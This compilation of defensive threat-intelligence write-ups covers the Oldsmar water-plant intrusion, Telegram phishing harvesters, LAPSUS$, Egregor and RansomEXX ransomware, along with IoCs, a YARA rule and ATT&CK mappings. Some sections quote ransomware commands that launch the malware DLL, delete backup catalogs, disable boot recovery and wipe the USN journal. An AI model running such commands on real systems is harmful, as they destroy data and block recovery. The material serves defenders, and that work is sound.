ZIP files are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# A Hacker Tried to Poison a Florida City's Water Supply, Officials Say
Around 8 am on Friday morning, an employee of a water treatment plant in the 15,000-person city of Oldsmar, Florida, noticed that his mouse cursor was moving strangely on his computer screen, out of his control, as local police would later tell it. Initially, he wasn't concerned; the plant used the remote-access software TeamViewer to allow staff to share screens and troubleshoot IT issues, and his boss often connected to his computer to monitor the facility's systems.
But a few hours later, police say, the plant operator noticed his mouse moving out of his control again. This time there would be no illusion of benign monitoring from a supervisor or IT person. The cursor began clicking through the water treatment plant's controls. Within seconds, the intruder was attempting to change the water supply's levels of sodium hydroxide, also known as lye or caustic soda, moving the setting from 100 parts per million to 11,100 parts per million. In low concentrations, the corrosive chemical regulates the pH level of potable water. At high levels, it severely damages any human tissue it touches.
According to city officials, the operator quickly spotted the intrusion and returned the sodium hydroxide to normal levels. Even if he hadn't, the poisoned water would have taken 24 to 36 hours to reach the city's population, and automated pH testing safeguards would have triggered an alarm and caught the change before anyone was harmed, they say.
"But if the events described by local officials are confirmed—they have yet to be corroborated firsthand by external security auditors—they may well represent a rare publicly reported cyberintrusion aimed at actively sabotaging the systems that control a US city's critical infrastructure. 'This is dangerous stuff,' said Bob Gualtieri, the sheriff of Pinellas County, Florida, of which Oldsmar is a part, in a press conference Monday afternoon. 'This is somebody that is trying, it appears on the surface, to do something bad.'"
In a follow-up call with WIRED, Gualtieri said that the hacker appears to have compromised the water treatment plant's TeamViewer software to gain remote access to the target computer, and that network logs confirm the operator's mouse takeover story. But the sheriff had little else to share about how the hacker accessed TeamViewer or gained initial access to the plant's IT network. He also provided no details as to how the intruder broke into the so-called operational technology network that controls physical equipment in industrial control systems and is typically segregated from the internet-connected IT network.
Gualtieri said the city's own forensic investigators, as well as the FBI and Secret Service, are seeking those answers. "That’s the million-dollar question, and it’s a point of concern, because we don’t know where the hole is and how sophisticated these people are," Gualtieri said. "Did this come from down the street or outside the country? No idea."
Security professionals have long advised not only segregating IT and OT networks for maximal security but also limiting or ideally eliminating all connections from operational technology systems to the internet. But Gualtieri conceded that the plant's OT systems were externally accessible, and that all evidence points to the attacker accessing them from the internet. "There is merit to the point that critical infrastructure components shouldn’t be connected," Gualtieri said. "If you’re connected, you’re vulnerable."
Gualtieri said that the water treatment facility had uninstalled TeamViewer since the attack, but he couldn't otherwise comment on what other security measures the plant was taking to remove the intruder's access or prevent another breach. He added that officials have warned all government organizations in the wider Tampa Bay area to review their security protocols and make updates to protect themselves. "We want to make sure that everyone realizes these kind of bad actors are out there. It's happening," Oldsmar mayor Eric Seidel said in a press conference. "So really take a hard look at what you have in place."
As unprecedented as Oldsmar's public announcement of a cybersabotage attempt on its water systems may be, the attack it describes is hardly unique, says Lesley Carhart, a principal threat analyst at industrial control system security firm Dragos. She says she's seen incidents firsthand in which even unsophisticated hackers access software applications that offer control of physical equipment—such as the TeamViewer remote access tool reportedly used in Oldsmar or the human-machine interfaces (HMIs) that directly control equipment—and start messing with them. Thousands of such systems are discoverable over the internet with search tools like Shodan, she points out. It's often only the complexity and safeguards in industrial control systems that prevent hacker meddling from having serious consequences.
"Do I think that on a regular basis people are logging in to HMI systems and hitting buttons? Absolutely," says Carhart. "Do those things have a measurable impact on the real world? Very rarely."
Carhart points to a comparable incident—albeit one carried out by an insider rather than an external attacker—when a disgruntled IT consultant for a sewage treatment plant in the Australian shire of Maroochy used his remote access to dump millions of gallons of raw sewage into local parks and rivers. On the other end of the sophistication spectrum, the Russian hacker group known as Sandworm in December 2015 hijacked a remote-access software similar to the TeamViewer program used in Oldsmar to open circuit breakers in Ukrainian electric utilities, turning off the power to a quarter-million civilians. And there's an even more direct precedent: In 2016, Verizon Security Solutions reported that hackers broke into an unidentified water utility and changed the chemical levels.
Water treatment and sewage plants, Carhart says, are often some of the most digitally vulnerable critical infrastructure targets in the United States, made more so by the budget cuts and remote work scenarios imposed by the Covid-19 pandemic. She says she has dealt with entire cities whose municipal water treatment plant has only a single IT person. "They're doing whatever they have to to keep water flowing and sewage treated. If they don't have the resources to do that and do cybersecurity, what are they going to do?" she asks. "They're going to keep the process running, keep society running. That's what they have to do." |
# North Korea (DPRK) Cyber Operations Groups
After Russia, US, and China, here is my mapping of known APT groups with (offensive) cyber operations capabilities from DPRK (commonly referred to as North Korea). As always, please let me know if you notice any mistakes, errors, or missing information since this is supposed to be a live document, updated as soon as new information becomes available. The sources used are listed below the diagram, similarly to the other cases.
**Last update:** 28 March 2022
## ChangeLog
- **Version 2.0 (28 March 2022):** Updated based on Mandiant’s research.
- **Version 1.5 (28 April 2021):** Added Bureau 325. (credits: @SwitHak)
- **Version 1.0 (24 April 2021):** First publication.
Written by xorl
April 24, 2021 at 13:39
Posted in threat intelligence |
# A Gentle Introduction to Building a Threat Intelligence Team
|
# Phish, Phished, Phisher: A Quick Peek Inside a Telegram Harvester
The tale is told by many: to access this document, “Sign in to your account.” During our daily Managed Detection and Response operations, NVISO handles hundreds of user-reported phishing threats that made it past commercial anti-phishing solutions. To ensure user safety, each report is carefully reviewed for Indicators of Compromise (IoCs) which are blocked and shared in threat intelligence feeds.
It is quite common to observe phishing pages on compromised hosts, legitimate services, or, as will be the case for this blog post, directly delivered as an attachment. While it is trivial to get a phishing page, identifying a campaign’s extent usually requires global telemetry.
In one of the smaller campaigns we monitored last month (September 2021), the threat actor inadvertently exposed Telegram credentials to their harvester. This opportunity provided us some insight into their operations; a peek behind the curtains we wanted to share.
## From Phish
The initial malicious attachment, reported by an end-user, is a typical phishing attachment file (.htm) delivered by a non-business email address (hotmail[.]co[.]uk), courtesy of “Onedrive for Business.” While we have observed some elaborate attempts in the past, it is quite obvious from a first glance that little effort has been put into this attempt.
Upon opening the phishing attachment, the user would be presented with a pre-filled login form. The form impersonates the usual Microsoft login page in an attempt to grab valid credentials.
If the user is successfully tricked into signing in, a piece of in-line Javascript exfiltrates the credentials to a harvesting channel. This is performed through a simple GET request towards the api[.]telegram[.]org domain with the phished email address, password, and IP included as parameters.
As the analysis of the 1937990321 campaign’s document exposed harvester credentials, our curiosity led us to identify additional documents and campaigns through VirusTotal Livehunt.
| Campaign | Operator | Bot | Lures | Victims |
|---------------|------------------|--------------------|------------------------|---------|
| 1937990321 | ade | allgood007bot | Office 365 | 400 |
| 1168596795 | eric jones | omystical_bot | Office 365, Excel | 95 |
| | (stealthrain76745)| | | |
| 1036920388 | PRo ✔️ | proimp1_bot | M&T Bank, Unknown | 127 |
| | (Emhacker) | | | |
While we managed to identify the M&T Bank campaign (1036920388), we were unable to identify successful phishing attempts. Most of the actor’s harvesting history contained bad data, with occasional stolen data originating from unknown lures. As such, the remainder of this blog post will not take the 1036920388 dataset into account.
## To Phished
Throughout the second half of September, the malicious Telegram bots exfiltrated over 3,386 credentials belonging to 495 distinct victims.
If we take a look at the victim repartitions, we can notice a distinct phishing of UK-originating accounts. Over 94% of the phished accounts belong to the non-corporate Microsoft mail services. These personal accounts are usually more vulnerable as they lack both enterprise-grade protections (e.g., Microsoft Defender for Office 365) and policies (e.g., Azure AD Conditional Access Policies).
While the 5% of collected corporate credentials can act as initial access for hands-on-keyboard operations, do the remaining 95% get discarded?
## To Phisher
One remaining fact of interest in the 1937990321 campaign’s dataset is the presence of a compromised alisonb account as can be observed. The alisonb account is in fact the original account that targeted one of NVISO’s customers. This highlights the common cycle of phishing:
- Corporate accounts are filtered for initial access.
- Remaining accounts are used for further phishing.
Identifying these accounts as soon as they’re compromised allows us to preemptively gray-list them, making sure the phishing cycle gets broken.
## The Baddies
The Telegram channels furthermore contain records of the actors starting (/start command) and testing their collection methods. These tests exposed two IPs likely part of the actors’ VPN infrastructure:
- 91[.]132[.]230[.]75 located in Russia
- 149[.]56[.]190[.]182 located in Canada
In addition to the above test messages, we managed to identify an actor’s screen capture of the conversation. By cross-referencing the message times with the obtained logs, we can assess with high confidence that the 1168596795 campaign operator eric jones’s device is operating from the UTC+2 time zone in English.
To further confirm our theory, we can observe additional Telegram messages originating from the above actor IPs. The activity taking place between 9 AM (UTC) and 10 PM (UTC) tends to confirm the Canadian server is indeed geographically distant from the actor suspected of operating in UTC+2.
## Final Thoughts
We rarely get the opportunity to peek behind a phishing operation’s curtains. While the observed campaigns were quite small, identifying the complete phishing cycle with the alisonb account was quite satisfying. Our short analysis of the events enabled NVISO to protect its customers from accounts likely used for phishing in the coming days and further act as a reminder of how even obvious phishing emails can be successful nonetheless.
## Indicators and Rules
### Lures
The following files were analyzed to identify harvester credentials. Many more Excel lures can be identified through the EXCELL typo in VirusTotal.
| SHA256 | Campaign | Lure |
|---------------------------------------------------------------------------------------|---------------|--------------|
| 696f2cf8a36be64c281fd940c3f0081eb86a4a79f41375ba70ca70432c71ca29 | 1937990321 | Office 365 |
| 2cc9d3ad6a3c2ad5cced10a431f99215e467bfca39cf02732d739ff04e87be2d | 1168596795 | Excel |
| 209b842abd1cfeab75c528595f0154ef74b5e92c9cc715d18c3f89473edfeff9 | 1168596795 | Excel |
| acc4c5c40d11e412bb343357e493d22fae70316a5c5af4ebf693340bc7616eae | 1168596795 | Excel |
| b7c8bb9e149997630b53d80ab901be1ffb22e1578f389412a7fdf1bd4668a018 | 1168596795 | Excel |
| e36dd51410f74fa6af3d80c2193450cf85b4ba109df0c44f381407ef89469650 | 1168596795 | Excel |
| a7af7c8b83fc2019c4eb859859efcbe8740d61c7d98fc8fa6ca27aa9b3491809 | 1168596795 | Excel |
| ba9dd2ae20952858cdd6cfbaff5d3dd22b4545670daf41b37a744ee666c8f1dc | 1036920388 | M&T Bank |
| 36368186cf67337e8ad69fd70b1bcb8f326e43c7ab83a88ad63de24d988750c2 | 1036920388 | M&T Bank |
| 7772cf6ab12cecf5ff84b23830c12b03e9aa2fae5d5b7d1c8a8aaa57525cb34e | 1036920388 | M&T Bank |
### Yara
```yara
rule phish_telegram_bot_api: testing TA0001 T1566 T1566_001
{
meta:
description = "Detects the presence of the Telegram Bot API endpoint often used as egress"
author = "Maxime THIEBAUT (@0xThiebaut)"
date = "2021-09-30"
tlp = "white"
status = "testing"
tactic = "TA0001"
technique = "T1566.001"
hash1 = "696f2cf8a36be64c281fd940c3f0081eb86a4a79f41375ba70ca70432c71ca29"
strings:
$endpoint = "https://api.telegram.org/bot"
$command = "/sendMessage"
$option1 = "chat_id"
$option2 = "text"
$option3 = "parse_mode"
$script = "<script>"
condition:
all of them
}
``` |
# LAPSUS$: Recent Techniques, Tactics and Procedures
**Authored by:** David Brown, Michael Matthews and Rob Smallridge
**Date:** April 28, 2022
## tl;dr
This post describes the techniques, tactics, and procedures observed during recent LAPSUS$ incidents. Our findings can be summarised as below:
- Access and scraping of corporate Microsoft SharePoint sites to identify stored credentials in technical documentation.
- Access to local password managers and databases to obtain further credentials and escalate privileges.
- Living off the land – tools such as RVTools to shut down servers and ADExplorer to perform reconnaissance.
- Cloning of git repositories and extraction of sensitive API keys.
- Using compromised credentials to access corporate VPNs.
- Disruption or destruction of victim infrastructure to hinder analysis and consume defensive resources.
## Summary
LAPSUS$ first appeared publicly in December 2021; however, NCC Group first observed LAPSUS$ months prior during an incident response engagement. We believe the group has operated prior to this date, though perhaps not under the “LAPSUS$” banner. Over the last 5 months, LAPSUS$ has gained notoriety with successful breaches of large enterprises including Microsoft, Nvidia, Okta, and Samsung. Little is known about this group, with motivations appearing to be for reputation, money, and “for the lulz.” Notifications or responsibility of victims by LAPSUS$ are commonly reported via their Telegram channel, and in one case, a victim’s DNS records were reconfigured to LAPSUS$ controlled domains/websites. However, not all victims or breaches appear to be actively announced via their Telegram channel, nor are some victims approached with a ransom. This distinguishes them from more traditional ransomware groups who have a clear modus operandi and are financially focused. The result is that LAPSUS$ is less predictable, which may explain their recent success.
This serves as a reminder for defenders about the need for defense in depth and the anticipation of different tactics that threat actors may use. It is also worth mentioning the brazen behavior of this threat actor and their attempts at social engineering by offering payment for insiders to provide valid credentials. This tactic may be in response to greater home working due to the pandemic, resulting in a larger proportion of employees with VPN access and a greater pool of potential employees willing to sell their credentials.
To combat this, organizations need to ensure they have extensive VPN logging capabilities, robust helpdesk ticketing, and methods to identify anomalies in VPN access. It is notable that the majority of LAPSUS$ actions exploit the human element rather than technical deficiencies or vulnerabilities. Although potentially viewed as unsophisticated, these techniques have been successful, making it vital for organizations to implement controls and mitigations.
## Initial Access
Threat Intelligence shows that LAPSUS$ utilizes multiple methods to gain initial access. The main source is believed to be stolen authentication cookies, granting the attacker access to specific applications. These cookies are usually in the form of Single Sign-On (SSO) applications, allowing the attacker to pivot into other corporate applications and bypass controls such as multi-factor authentication (MFA).
## Credential Access and Privilege Escalation
Credential harvesting and privilege escalation are key components of the LAPSUS$ breaches observed, with rapid escalation from a standard user account to an administrative user within days. In investigations conducted by NCC Group, little to no malware is used. In one case, LAPSUS$ used the legitimate Sysinternals tool ADExplorer for reconnaissance on the victim’s environment. Access to corporate VPNs is a primary focus, allowing direct access to key infrastructure required to complete their objectives. In our incident response cases, the threat actor leveraged compromised employee email accounts to request access credentials or support for the corporate VPN.
## Lateral Movement
In one incident, LAPSUS$ was observed moving through the victim environment via RDP to access deeper resources. Victim-controlled hostnames were revealed, including "VULTR-GUEST," referring to infrastructure hosted on the private cloud service, Vultr.
## Exfiltration
LAPSUS$’s actions appear to focus on data exfiltration of sensitive information as well as destruction or disruption. In one incident, the threat actor utilized the free file drop service “filetransfer[.]io.”
## Impact
NCC Group has observed disruption and destruction to client environments by LAPSUS$, such as shutting down virtual machines from within on-premises VMware ESXi infrastructure, to mass deletion of virtual machines, storage, and configurations in cloud environments, making recovery harder for victims and complicating investigations. The theft of data reported appears to focus on application source code or proprietary technical information, targeting internal source code management or repository servers. These git repositories can contain commercially sensitive intellectual property and may include additional API keys to sensitive applications.
## Recommendations
- Ensure that cloud computing environments have sufficient logging enabled.
- Ensure that cloud administrative access is configured to prevent unauthorized access to resources and that API keys are not overly permissive.
- Utilize MFA for user authentication on both cloud and remote access solutions to reduce the risk of unauthorized access.
- Ensure logging is in place to record MFA device enrollment.
- Security controls such as Conditional Access can help restrict or prevent unauthorized access based on criteria such as geographical location.
- Implement activities to detect and investigate anomalies in VPN access.
- Ensure a system is in place to record all helpdesk queries.
- Avoid using SMS as an MFA vector to mitigate the risk of SIM swapping.
- Secure source code environments to ensure users can only access relevant repositories.
- Conduct secret scanning on source code repositories to ensure sensitive API credentials are not stored in source code.
- Remove Remote Desktop services or Gateways from corporate environments in favor of secured VPNs or other Remote Desktop applications that mitigate common attack techniques and offer additional security controls.
- Centralize logging, including cloud applications (SIEM solution).
- Take offline or immutable backups of servers to ensure services can be restored in the event of a data disruption or destruction attack.
- Reduce MFA token/session cookie validity times.
- Ensure the principle of least privilege for user accounts is adhered to.
- Provide social engineering awareness training for all staff.
## Indicators of Compromise
| Indicator Value | Type | Description |
|------------------------|---------------------|-----------------------------------------------|
| 104.238.222[.]158 | IP address | Malicious Lapsus Network Address |
| 108.61.173[.]214 | IP address | Malicious Lapsus Network Address |
| 185.169.255[.]74 | IP address | Malicious Lapsus Network Address |
| VULTR-GUEST | Hostname | Threat Actor Controlled Host |
| hxxps://filetransfer[.]io | Domain | Free File Drop Service Utilized by the Threat Actor |
## MITRE ATT&CK Techniques
| Technique Code | Technique Description |
|------------------------|----------------------------------------------------|
| T1482 | Discovery – Domain Trust Discovery |
| T1018 | Discovery – Remote System Discovery |
| T1069.002 | Discovery – Groups Discovery: Domain Groups |
| T1016.001 | Discovery – System Network Configuration Discovery |
| T1078.002 | Privilege Escalation – Domain Accounts |
| T1555.005 | Credential Access – Credentials from Password Stores: Password Managers |
| T1021.001 | Lateral Movement – Remote Services: Remote Desktop Protocol |
| T1534 | Lateral Movement – Internal Spearphishing |
| T1072 | Execution – Software Deployment Tools |
| T1213.002 | Collection – Data from Information Repositories: SharePoint |
| T1039 | Collection – Data from Network Shared Drive |
| T1213.003 | Collection – Data from Information Repositories: Code Repositories |
| T1567 | Exfiltration – Exfiltration Over Web Service |
| T1485 | Impact – Data Destruction |
| T1529 | Impact – System Shutdown/Reboot | |
# The Locking Egregor
**Analysis of TTPs employed by Egregor operators**
Oleg Skulkin
Senior DFIR Analyst at Group-IB
Roman Rezvukhin
Deputy head of the DFIR lab at Group-IB
Semyon Rogachev
Malware Analyst at Group-IB
Regardless of a cybersecurity role in your organization, whether you are a SOC analyst, threat hunter, or CISO, the more you know about the threat landscape relevant to your business and region, the better you can protect your assets. But when it comes to ransomware, any big organization can be a target, and you should always be on guard. Especially, given that the major cybercrime trend of 2020 is Big Game Hunting. More and more players join the game, disrupting more and more businesses all around the world. Ransomware itself, as well as attackers' TTPs, become increasingly complex, making detection and analysis really tough. One of such ransomware families, that came into the game quite recently, but already managed to "lock" quite outstanding victims, such as Crytek and Barnes & Noble, is Egregor.
Recently, the Group-IB DFIR team observed Egregor ransomware operators actively using Qakbot (aka Qbot) to gain initial access, just like it was with Prolock not long ago. The close similarities in TTPs with earlier ProLock campaigns indicate that Qakbot operators have likely abandoned ProLock for Egregor.
Egregor has been actively distributed since September 2020. In less than 3 months, Egregor operators have managed to successfully hit 69 companies around the world with 32 targets in the US, 7 victims in France and Italy each, 6 in Germany, and 4 in the UK. Other victims happened to be from the APAC, Middle East, and Latin America. Egregor's favorite sectors are Manufacturing (28.9% of victims) and Retail (14.5%).
Given the increased activity of Egregor operators and the gang's focus on big firms, we decided to release this "emergency" blog post to help cybersecurity teams identify and hunt for this threat actor. This blog will dive you into recent Qakbot campaigns, TTPs employed by the threat actors during their Big Game Hunting operations, and in-depth analysis of Egregor ransomware.
## Recent Qakbot campaigns
In September 2020, Emotet switched back to distributing Trickbot, so Qakbot operators had to distribute their trojan without its help. To deliver the trojan, Qakbot operators used malicious Microsoft Excel documents impersonating DocuSign-encrypted spreadsheets and still prefer to use so-called "Email Thread Hijacking" technique.
### Post-Exploitation
During our incident response engagements, we saw almost identical techniques to those we saw in attacks involving ProLock ransomware. Once initial access is gained, the threat actors used AdFind to collect Active Directory information.
Also, we've seen the same script to enable comfortable lateral movement - "rdp.bat". It was used by the threat actors to modify registry and firewall rules to enable connections via Remote Desktop Protocol. To compromise the whole network infrastructure, the threat actor used Cobalt Strike – an extremely popular post-exploitation tool we've seen in almost 70% of incidents involving Big Game Hunting operations this year.
In some cases, the threat actors also distributed Qakbot through the network via PsExec, just like in cases with Prolock we observed in the past; they use a file named "md.exe" – that is the Qakbot binary. In addition, they used Rclone for data exfiltration – the same masquerading technique was used, they renamed its binary to svchost.exe and placed it to C:\Windows. Parts of exfiltrated data are published on Egregor's Data Leak Site (DLS) to prove they not only locked the victim's network but also stolen sensitive information.
If the victim refuses to pay, the threat actors publish the whole set of exfiltrated data.
### Ransomware deployment
The threat actors used multiple techniques for ransomware deployment, in some cases even in a single attack, including abusing Background Intelligent Transfer Service (BITS), WMI command-line (WMIC) utility, and PowerShell remote sessions. It's interesting that the PowerShell script contains comments in Russian.
### Ransomware analysis
We analyzed a sample of Egregor ransomware, which was obtained during one of our incident response engagements. Egregor is delivered as a DLL and should be launched via rundll32 executable with the similar command line:
```
rundll32.exe C:\Windows\q.dll,DllRegisterServer -password –-mode
```
After calling the function DllRegisterServer, the next stage will be decoded, decrypted, and executed. This stage is protected using ChaCha8 stream cipher (the key and the nonce are stored inside the file) and Base64 encoding. The next stage is also used as an encryption layer for the final payload, which could be decrypted only if the correct password is provided as an argument. This password is used as the key for HMAC-SHA256, and the input data for HMAC-SHA256 is hardcoded within the program. After that, 10,000 iterations of HMAC-SHA256 are used along with XOR operation to create a key for Rabbit stream cipher, which will be used to decrypt the final payload.
The final payload is highly obfuscated with junk instructions, and a lot of jump and call obfuscation is used. We noticed that Egregor obfuscation is very similar to the obfuscation used in another ransomware - Sekhmet. The string obfuscation is likewise similar to Sekhmet, and even the keys for decrypting the same strings are identical. We noticed that the sequence of language checks is very similar to Sekhmet and Maze ransomware.
The main purpose of the Egregor (unsurprisingly) is to encrypt files. Files are encrypted using ChaCha8 stream cipher along with RSA-2048 asymmetric algorithm – the same scheme was used in Sekhmet and Maze ransomware (key and nonce for ChaCha8 are generated randomly for each encrypted file). ChaCha8 key and nonce is encrypted and added to the beginning of the encrypted file. Local RSA-2048 keypair is generated for each infected computer; the local private key is encrypted by the public master key and then added to the "technical block" at the end of the ransom note (this block also contains the number of encrypted files, information about workstation, and domain).
To check if it is able to encrypt a file in a specific directory, Egregor will try to create a shortcut in this directory (the name of the shortcut is equal to victim ID, which is generated based on hardware configuration of the computer). The shortcut is created with the option FILE_FLAG_DELETE_ON_CLOSE, which allows for automatically deleting this shortcut after the handle is closed.
After all, the ransom note named RECOVER-FILES.txt will be created in each directory with encrypted files. Here is a template extracted from an Egregor sample:
The largest ransom demand we observed was more than 4,000,000 $ in BTC.
## Conclusion
Tactics, techniques, and procedures observed are very similar to those seen in the past Qakbot's Big Game Hunting operations. At the same time, we see that these methods are still very effective and allow threat actors to compromise quite big companies successfully. It's important to note that the fact many Maze partners started to move to Egregor will most likely result in the shift in TTPs, so defenders should focus on known methods associated with Maze affiliates.
## General Recommendations
1. If you've detected Qakbot infection in your network, make sure you handle it properly, and there's no evidence of lateral movement.
2. Make sure your security controls are able to detect and block Cobalt Strike usage.
3. Focus on suspicious RDP connections as well as BITS, WMIC, and PowerShell abuse.
4. Develop threat hunting capability for your team, so you can reduce attacker's dwell time and prevent successful ransomware deployment.
5. Make sure your team has updated cyber threat intelligence information to detect and prevent human-operated ransomware attacks.
6. Learn what techniques and methods Threat Hunters use today through Group-IB's Cyber Education courses.
7. Download the white paper "Egregor ransomware: The legacy of Maze lives on" for more TTPs, detection, and threat hunting tips. |
# Ransomware Spotlight: RansomEXX
RansomEXX is a ransomware variant that gained notoriety after a spate of attacks in 2020 and continues to be active today. With its targeted nature and history for choosing high-profile victims, we shine our spotlight on RansomEXX to reveal its tactics, techniques, and procedures.
RansomEXX debuted as Defray777 in 2018 and made a name for itself in 2020 after it was used in widely reported attacks on government agencies, manufacturers, and other high-profile targets. By then, it was dubbed RansomEXX after the string “ransom.exx” was found in its binary. In 2020, the group also started a leak site for publishing stolen data.
Today, RansomEXX remains an active name among other ransomware variants like LockBit and Conti. Like other groups, the one running RansomEXX appears to have no qualms about publishing data stolen from its targets. It has also published information stolen from government agencies — a recent case was an attack on a Scottish mental health charity in March 2022, where they published 12GB worth of data that included the personal information and even credit card details of the charity’s volunteers.
This paints a picture of how RansomEXX operates and why it should be thwarted. To help in this regard, this report looks into its specific tactics, tools, and methods, so that organizations can be better prepared to defend against it.
## What do organizations need to know about RansomEXX
RansomEXX operates on a ransomware-as-a-service (RaaS) model and has been consistently active since its discovery. Up to the present, RansomEXX has been responsible for attacks and publishing stolen data on its leak site. Here is an overview of what RansomEXX is known for:
- It has both a Windows and Linux variant. RansomEXX’s Linux version, discovered in late 2020, marked the first known time a major Windows ransomware variant expanded to Linux. This move allows modern ransomware variants to target core infrastructure that often runs on Linux.
- Linked to the threat group Gold Dupont, which has been active since 2018. They are a financially motivated cybercriminal group with a main arsenal that includes RansomEXX or Defray777, Cobalt Strike, Metasploit, and Vatet Loader.
- Uses trojanized legitimate tools. RansomEXX campaigns, as typical of Gold Dupont attacks, involve malware like Vatet Loader, PyXie RAT, TrickBot, and post-intrusion tools like Cobalt Strike as part of their arsenal. The use of trojanized legitimate tools is common among modern ransomware variants, allowing them to deploy payloads faster while avoiding detection.
- Hardcoded name of the target in its binary. One of the key indicators of RansomEXX’s targeted nature is how it has its target’s name hardcoded in its binary. It demonstrates how RansomEXX attacks involve a certain amount of preparation and are tailored to their chosen victim’s profile.
Aside from these known characteristics of RansomEXX, an interesting development in its more recent history is its attack on a mental health charity. Prior to this particular attack, RansomEXX targeted larger organizations like a government agency, a major clothing store in Brazil, and many others. Ransomware groups are known to choose targets based on their ability to pay hefty ransoms, making the attack on the charity organization a particular departure.
Operating as an RaaS, the actors behind RansomEXX conduct reconnaissance before each campaign to help them choose the right tools from their arsenal to build an efficient attack. For example, RansomEXX has employed IcedID and Vatet loader, among others, for an attack in which deploying the ransomware only took five hours after initial access.
## Top affected industries and countries
Our telemetry shows data on RansomEXX activity or attack attempts from March 31, 2021, to March 31, 2022. We observed RansomEXX activity from all over the globe, but the heaviest concentration was in the USA, followed by France and Brazil. The reason behind this observation is the 2021 RansomEXX attack on a major hardware manufacturer in Taiwan.
Based on our detections, RansomEXX was most active in the manufacturing sector, followed by the education and banking sectors. Overall, the differences are relatively slim given the small sample size.
## Infection chain and techniques
Given that RansomEXX operates on the RaaS model, its infection chain can vary depending on the target and the affiliate carrying out the various stages of the attack.
### Initial Access
RansomEXX has been known to use Malspam to infiltrate machines and deliver multiple tools and related malware before finally deploying the actual ransomware payload.
### Execution and Exfiltration
The threat actors make use of different pieces of malware for execution. From our telemetry, we saw IcedID, TrickBot, Cobalt Strike beacons, and PyXie RAT. These are known to be used in other campaigns as well. PyXie RAT also has the capability to exfiltrate data and obtain information from the target machine.
### Lateral Movement
For lateral movement, multiple server message block (SMB) hits were seen on our telemetry. This has been used to deliver Vatet loader.
### Discovery
Similar to other campaigns, RansomEXX also makes use of Mimikatz and LaZagne to extract credentials from the target machine.
### Impact
The deployment of the final ransomware payload ensures that files are encrypted in the machine. RansomEXX encrypts files using advanced encryption standard (AES), while the AES key is encrypted using RSA encryption.
## Other technical details
RansomEXX avoids encrypting the following strings in their file path:
- \windows\system32\
- \windows\syswow64\
- \windows\system\
- \windows\winsxs\
- \appdata\roaming\
- \appdata\local\
- \appdata\locallow\
- \all users\microsoft\
- \inetpub\logs\
- :\boot\
- :\perflogs\
- :\programdata\
- :\drivers\
- :\wsus\
- :\efstmpwp\
- :\$recycle.bin\
- crypt_detect
- cryptolocker
- ransomware
- ProgramW6432
- %ProgramFiles%
It avoids encrypting the following files with strings in their file name:
- bootsect.bak
- iconcache.db
- thumbs.db
- debug.txt
- boot.ini
- desktop.ini
- autorun.inf
- ntuser.dat
- ntldr
- ntdetect.com
- bootfont.bin
- !{Targeted Company Acronym}_READ_ME!.txt
- ransom
- ransomware
It avoids encrypting files with the following extensions:
- .ani
- .cab
- .cpl
- .diagcab
- .diagpkg
- .dll
- .drv
- .hlp
- .icl
- .icns
- .ico
- .iso
- .ics
- .lnk
- .idx
- .mod
- .mpa
- .msc
- .msp
- .msstyles
- .msu
- .nomedia
- .ocx
- .prf
- .rtp
- .scr
- .shs
- .spl
- .sys
- .theme
- .thempack
- .exe
- .bat
- .cmd
- .url
- .mui
- .{Targeted Company Acronym}
It terminates the following processes:
- javaw
- java
- sage
- ks_action
- ks_email
- ks_copy
- ks_sched
- ks_web
- ks_im
- ks_db
- pvxiosvr
- pvxwin32
- xfssvccon
- wordpad
- wlmail
- onenote
- om8start
- om8
- ocssd
- ocomm
- ocautoupds
- notepad
- notepad++
- node
- nginx
- ncsvc
- ncs
- mydesktopservice
- mydesktopqos
- mspub
- msaccess
- mongod
- metiix
- mdccom
- mbarw
- mail
- i_view32
- infopath
- exchange
- excel
- encsvc
- duplicati
- devenv
- dbsnmp
- dbeng50
- database
- backup
## MITRE tactics and techniques
| Initial Access | Execution | Defense Evasion | Discovery | Impact |
|----------------|-----------|------------------|-----------|--------|
| T1078 - Valid Accounts | T1059.003 - Command Line Interface: Windows Command Shell | T1562.001 - Impair Defenses: Disable or Modify Tools | T1082 - System Information Discovery | T1489 - Service stop |
| Like other human-operated ransomware families, it can arrive by brute-forcing weak remote desktop protocol (RDP) credentials. | Can be executed using cmd.exe | RansomEXX stops services related to security software to avoid being detected | It gathers the system's computer name, which it uses to create a mutex | The ransomware stops services to avoid file access violations when encrypting files that are still being accessed |
| | | T1490 - Inhibit system recovery | - wbadmin.exe delete catalog -quiet | - bcdedit.exe /set {default} recoveryenabled no |
| | | | - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures | - schtasks.exe /Change /TN “\Microsoft\Windows\SystemRestore\SR" /disable fsutil.exe usn deletejournal /D C: |
| | | | It enumerates available network resources on the infected machine to look for files to encrypt; it does this by using the Wnet API's | T1083 - File and Directory Discovery |
| | | | For its file encryption, it enumerates files and directories on each drive while avoiding safe-listed files or directories | T1486 - Data encrypted for impact |
| | | | It encrypts files using AES encryption while the AES key is encrypted using RSA encryption |
## Summary of malware, tools, and exploits used
Security teams can watch out for the presence of the following malware tools and exploits that are typically used in RansomEXX attacks:
| Initial Access | Execution | Discovery | Lateral Movement | Impact |
|----------------|-----------|-----------|------------------|--------|
| Malspam | IcedID | Mimikatz | SMB | RansomEXX |
| | TrickBot | LaZagne | | |
| | PyXie RAT | | | |
| | Cobalt Strike beacon | | | |
| | Vatet Loader | | | |
## Recommendations
RansomEXX is not as active as it had been in 2020, when its consecutive attacks made it one of the newer ransomware families to watch out for. However, being a highly targeted and human-operated ransomware, its attacks affect its victims and their reputation significantly. The combination of memory-based techniques, legitimate Windows tools, and post-intrusion contribute a lot to RansomEXX’s successes. Preventing the attacks from the outset is key to avoiding the worst of ransomware campaigns.
Organizations should learn from past RansomEXX campaigns and be vigilant against initial access tactics. Users should be wary of enabling macros and of documents that prompt them to do so. To help defend systems against similar threats, organizations can establish security frameworks that can allocate resources systematically for establishing solid defenses against ransomware.
Here are some best practices that can be included in these frameworks:
### Audit and inventory
- Take an inventory of assets and data.
- Identify authorized and unauthorized devices and software.
- Make an audit of event and incident logs.
### Configure and monitor
- Manage hardware and software configurations.
- Grant admin privileges and access only when necessary to an employee’s role.
- Monitor network ports, protocols, and services.
- Activate security configurations on network infrastructure devices such as firewalls and routers.
- Establish a software allowlist that only executes legitimate applications.
### Patch and update
- Conduct regular vulnerability assessments.
- Perform patching or virtual patching for operating systems and applications.
- Update software and applications to their latest versions.
### Protect and recover
- Implement data protection, back up, and recovery measures.
- Enable multifactor authentication (MFA).
